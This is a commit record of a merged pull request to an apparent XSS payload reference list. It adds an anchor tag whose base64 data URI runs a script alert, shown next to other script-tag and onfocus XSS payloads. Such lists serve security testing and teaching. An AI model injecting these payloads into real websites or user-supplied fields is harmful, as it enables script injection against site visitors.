Merge pull request #35 from noraj/patch-1

XSS using base64 encoded href data in a link
This commit is contained in:
Swissky 2019-01-17 19:54:37 +01:00 committed by GitHub
commit 22c82cb277
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -162,6 +162,12 @@ URL/<script>alert('XSS');//
URL/<input autofocus onfocus=alert(1)>
```
XSS using base64 encoded href data in a link
```
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk7PC9zY3JpcHQ+" target="_blank">here</a>
```
## XSS in wrappers javascript and data URI
XSS with javascript: